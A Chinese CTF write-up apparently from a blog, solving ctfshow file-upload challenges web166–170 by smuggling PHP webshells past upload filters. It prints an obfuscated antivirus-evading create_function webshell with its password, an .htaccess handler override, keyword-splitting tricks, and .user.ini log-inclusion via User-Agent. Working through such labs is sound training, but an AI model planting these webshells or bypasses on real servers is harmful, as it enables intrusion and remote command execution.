• ctfshow-web入门-文件上传(web166、web167)&(web168-web170)免杀绕过


    目录

    1、web166

    2、web167

    3、web168

    4、web169

    5、web170


    1、web166

    查看源码,前端只让传 zip

    上传 zip 成功后可以进行下载 

    随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马

    上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:

    我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。

    读取 flag:

    ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

    后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:

    2、web167

    提示:httpd

    .htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

    这里我们可以通过上传 .htaccess 文件,其内容设置如下:

    1. <FilesMatch ".jpg">
    2. SetHandler application/x-httpd-php
    3. </FilesMatch>

    这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:

    这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。

    接下来我们直接将一句话木马改为 jpg 后缀上传:

    点击下载文件即可访问到一句话木马:

    空白,说明上传解析成功。

    调用:

    看一下上层目录:

    读取 flag.php:

    拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

    3、web168

    前端还是只能传 png

    使用 burpsuite 抓包,改后缀重放回显 null

    什么都没有回显

    做了一下 fuzz 测试:

    单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。

    经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:

     

    文件会被上传到 upload 目录下: 

    phpinfo 也可以正常上传并解析: 

    无论是正常的 php 代码还是短标签的格式:

    测试关键字:eval、system、assert、$_POST

    均返回 null,猜测应该是过滤掉了一些危险函数和关键字

    做了一下拼接绕过:

    1. $a="e"."v";
    2. $b="a"."l";
    3. $c=$a.$b;
    4. $c($_REQUEST['cmd']);
    5. ?>

    但是访问的时候报错:

    看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。

    在网上找到了一个免杀的木马:

     $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

    连接密码: TyKPuntU 

    调用:

    查看上一层目录:

    TyKPuntU=system('ls ../');

    存在 flag.php 和 flagaa.php,先读取 flag.php:

    TyKPuntU=system('tac ../flag.php');

    不是,那么再读取 flagaa.php:

    TyKPuntU=system('tac ../flagaa.php');

    拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b} 

    如果这里不上一句话木马,我们还可以使用反引号来执行命令:

    `ls ..`;
    

    读取 flag:

    `tac ../flagaa.php`;

    4、web169

    高级免杀

    前端只能传 zip,抓包绕过即可 

    但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。

    需要修改 content-type 为:image/png

    至于文件后缀并不影响,php 也可以:

    测一下上一题的木马,过不了:

    这里直接把尖括号(大于小于号)都给毙掉了:

    想直接写进去很难了,采用日志文件包含:

    先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型

    可以上传成功,再在  ua 头里面插入我们希望执行的 php代码,再次发送: 

    访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:

    我们随便传一个上去:

    访问 /upload/1.php

    遇到报错:

     可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:

    再次访问 /upload/1.php,可以看到 ls ../ 执行成功:

    读取 flag:

    拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

    5、web170

    终极免杀
    

     方法与上一题一样,也是采用日志包含。

    传配置文件:

    这里的 payload 就直接读 flag 了:

    传 php 文件:

    这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。

    拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

    CTFshow-Web 入门系列的文件上传至此结束。

    Myon,2024.7.11

  • 相关阅读:
    ssh连接腾讯云服务器
    Win10_触摸板使用_系统自带使用教程
    13、Java——“21点”扑克游戏系统(变量+循环)
    linux中的tar打包、压缩多个文件、磁盘查看和分区类、du查看文件和目录占用的磁盘空间
    LM06丨仅用成交量构造抄底摸顶策略的奥秘
    Linux使用Docker完整安装Superset3,同时解决please use superset_config.py to override it报错
    小技巧-mac切换修改wifi密码
    【React-Vscode】Vscode中React插件合集
    基于SSH开发教师管理系统
    23062QTday5
  • 原文地址:https://blog.csdn.net/Myon5/article/details/140347622